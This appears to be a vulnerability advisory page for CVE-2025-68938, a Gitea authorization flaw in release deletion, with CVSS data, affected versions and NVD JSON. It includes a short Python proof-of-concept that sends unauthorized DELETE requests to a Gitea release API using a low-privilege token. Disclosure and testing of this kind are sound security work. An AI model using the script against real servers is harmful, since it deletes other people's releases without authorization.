Security Vulnerability Report
中文
CVE-2025-68938 CVSS 4.3 MEDIUM

CVE-2025-68938

Published: 2025-12-26 02:15:43
Last Modified: 2026-01-02 19:36:15

Description

Gitea before 1.25.2 mishandles authorization for deletion of releases.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:* - VULNERABLE
Gitea < 1.25.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-68938 PoC - Gitea Release Deletion Authorization Bypass # This PoC demonstrates the authorization flaw in Gitea < 1.25.2 TARGET_URL = "http://target-gitea-instance.com" ATTACKER_TOKEN = "your_low_privilege_access_token" TARGET_REPO = "owner/repo_name" TARGET_RELEASE_ID = 123 def delete_release(): """ Attempt to delete a release without proper authorization This exploits the authorization mishandling in Gitea < 1.25.2 """ headers = { "Authorization": f"token {ATTACKER_TOKEN}", "Content-Type": "application/json", "Accept": "application/json" } # API endpoint for deleting releases url = f"{TARGET_URL}/api/v1/repos/{TARGET_REPO}/releases/{TARGET_RELEASE_ID}" try: response = requests.delete(url, headers=headers, timeout=10) if response.status_code == 204: print("[+] SUCCESS: Release deleted without proper authorization!") print(f"[+] Deleted release ID: {TARGET_RELEASE_ID} from {TARGET_REPO}") return True elif response.status_code == 403: print("[-] FAILED: Access forbidden - target may be patched") return False elif response.status_code == 404: print("[-] FAILED: Release not found") return False else: print(f"[-] Response: {response.status_code}") print(f"[-] Body: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-68938 - Gitea Release Deletion Authorization Bypass") print("=" * 60) delete_release()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68938", "sourceIdentifier": "[email protected]", "published": "2025-12-26T02:15:42.870", "lastModified": "2026-01-02T19:36:14.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gitea before 1.25.2 mishandles authorization for deletion of releases."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.25.2", "matchCriteriaId": "7A45E0EE-B51F-48AE-9B89-EB27065D777B"}]}]}], "references": [{"url": "https://blog.gitea.com/release-of-1.25.2/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/go-gitea/gitea/pull/36002/commits/d4262131b39899d9e9ee5caa2635c810d476e43f#diff-8962bac89952027d50fa51f31f59d65bedb4c02bde0265eced5cf256cbed306d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/go-gitea/gitea/releases/tag/v1.25.2", "source": "[email protected]", "tags": ["Release Notes"]}]}}